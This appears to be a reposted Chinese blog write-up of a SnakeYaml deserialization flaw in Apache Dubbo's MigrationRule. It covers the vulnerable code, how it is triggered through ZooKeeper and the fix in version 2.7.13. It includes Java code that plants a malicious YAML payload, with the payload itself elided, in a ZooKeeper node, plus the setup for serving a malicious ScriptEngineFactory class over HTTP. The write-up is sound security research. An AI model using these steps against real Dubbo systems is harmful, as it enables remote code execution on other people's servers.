鄂州网站建设公司wordpress josn查询
01 漏洞背景
发现该漏洞的起因是在分析 CVE-2021-30181 的脚本注入补丁的时候，意外发现了几个已被修复的 yaml
反序列化漏洞，还以为是未公开的Nday，查询后发现其实对应的是 CVE-2021-30180 漏洞的修复代码。通过查看补丁可以知道，Router
模块中所有yaml.load的调用中都使用了SafeConstructor白名单过滤，无法正常利用。
“关于本文中出现的 SnakeYaml 反序列化相关知识，可以参考公众号之前发送的推文——《Java
SnakeYaml反序列化分析》”。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7FScAdFj-1690358271307)(https://image.3001.net/images/20220415/1649992906_6258e4caa0ed5214712f1.png!small?1649992909028)]
在代码中搜索yaml.load的调用，发现还有另外一个模块存在调用，并且没有使用SafeConstructor等修复措施，漏洞代码位置如下所示：public class MigrationRule {private static final String DUBBO_SERVICEDISCOVERY_MIGRATION_KEY = “dubbo.application.service-discovery.migration”;public static final String DUBBO_SERVICEDISCOVERY_MIGRATION_GROUP = “MIGRATION”;public static final String RULE_KEY = ApplicationModel.getName() + “.migration”;private static DynamicConfiguration configuration = null;private String key;private MigrationStep step;…public static MigrationRule parse(String rawRule) {if (null == configuration) {return getMigrationRule((String)null);} else if (!StringUtils.isBlank(rawRule) && !“INIT”.equals(rawRule)) {Constructor constructor = new Constructor(MigrationRule.class);Yaml yaml = new Yaml(constructor);return (MigrationRule)yaml.load(rawRule);} else {String step = (String)configuration.getInternalProperty(“dubbo.application.service-discovery.migration”);return getMigrationRule(step);}}…}
因此CVE-2021-30180的 PoC 也是可以在这里进行利用的，具体的反序列化利用链 Github 安全实验室已公布，感兴趣的同学可以自行参照其改造
CVE-2021-36162 漏洞的利用链。
##02 漏洞触发
有了 yaml 反序列化利用链，接下来就是看看如何触发这个漏洞。参照之前的漏洞触发方式，需要通过在 ZooKeeper（下文简写为 ZK）
上增加节点存入恶意数据来完成触发，因此有两个问题需要解决：
1. 在 ZK 哪个节点中添加恶意 yaml 数据 ？
2. 如何让消费者读取并解析这个 yaml 数据 ？
问题一
通过搜索 Migation 功能可以找到下面的文档，Dubbo 利用该功能来控制消费者执行不同的选址策略，根据内容可以大致确定可以通过全局的配置中心 ZK
来控制恶意的数据。
正常的运行消费者和服务端并进行抓包，可以发现其中包含与 migration 相关的 ZK Path，尝试在其中创建相关节点，并在下列路径中插入任意数据：
问题二
完成任意数据的插入以后，再次运行消费者可以发现有如下 解析异常的报错信息 ，证明插入的数据已经生效，成功进入到了漏洞代码当中。
尝试将构造好的 PoC 插入到上述的路径当中，这里会发现由于 PoC 中有很多的空格、特殊符号之类的字符存在，直接通过 ZKCli.sh 插入 PoC
会出现各种问题，导致漏洞无法正常触发，因此需要通过 Java 调用第三方包的方式来向 ZK 中添加数据，具体代码如下所示：
• 使用下列代码插入恶意 Yaml 数据// 在看到 github 官方插入代码前自行实现的插入逻辑public class RegisterYaml {public static void main(String[] args) throws Exception {String path = “/dubbo/config/MIGRATION/consumer-of-helloworld-app.migration”;String poc = “…”;RetryPolicy retryPolicy = new ExponentialBackoffRetry(1000,3);CuratorFramework client = CuratorFrameworkFactory.newClient(“127.0.0.1:2181”, retryPolicy);client.start();Stat stat = client.checkExists().forPath(path);if (stat != null) {client.delete().forPath(path);}client.create().forPath(path, poc.getBytes());}}
准备好漏洞触发所需的 SPI 配置文件，以及待执行的 Class 字节码文件即可，具体的文件目录结构如下所示：├── META-INF│ └── services│ └── javax.script.ScriptEngineFactory└── cc└── m01n└── SnakeYaml└── AwesomeScriptEngineFactory.class
在 META-INF 同级目录下使用 Python 启动 HTTP Server。
• python3 -m http.server 8000
先启动服务端代码，再运行消费者代码，即可触发漏洞：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6uUpwYcf-1690358271309)(https://image.3001.net/images/20220415/1649993058_6258e562e93d68aeeff06.png!small?1649993060762)][外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CXiC7wLf-1690358271309)(https://image.3001.net/images/20220415/1649993066_6258e56a40b553f9e1629.png!small?1649993068623)]
##03 漏洞分析
在MigrationRuleListener 类中打下断点，其中会调用 this.configuration.getConfig 从 ZK 中获取 yaml
数据到rawRule属性中，可以看到取出来的就是我们写入的恶意 yaml 数据。
继续跟进发现MigrationRuleListener实例是通过自定义的 SPI ExtensionLoader#createExtension 创建完成。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zdwBAnWl-1690358271310)(https://image.3001.net/images/20220415/1649993089_6258e58188c3902dfb023.png!small?1649993091407)]
后面会对MigrationRuleListener实例调用onRefer方法，触发到后续的 yaml 数据解析操作。
进去断点跟进可以看到，rawRule中的 yaml 数据会被传入到 yaml.load 方法中，导致反序列化漏洞。
##04 漏洞修复
该漏洞在 2.7.13 版本完成了修复，修复思路 CVE-2021-30180
方式一致，采用了SafeConstructor进行修复，具体修复补丁如下所示：
https://github.com/apache/dubbo/commit/bfa4b3bb6660d404c0715f54f8743dda45b46909
b3bb6660d404c0715f54f8743dda45b46909
[外链图片转存中…(img-NbK0tKMS-1690358271310)]
网络安全工程师企业级学习路线
这时候你当然需要一份系统性的学习路线
如图片过大被平台压缩导致看不清的话，可以在文末下载（无偿的），大家也可以一起学习交流一下。
一些我收集的网络安全自学入门书籍
一些我白嫖到的不错的视频教程：
上述资料【点下方卡片】就可以领取了，无偿分享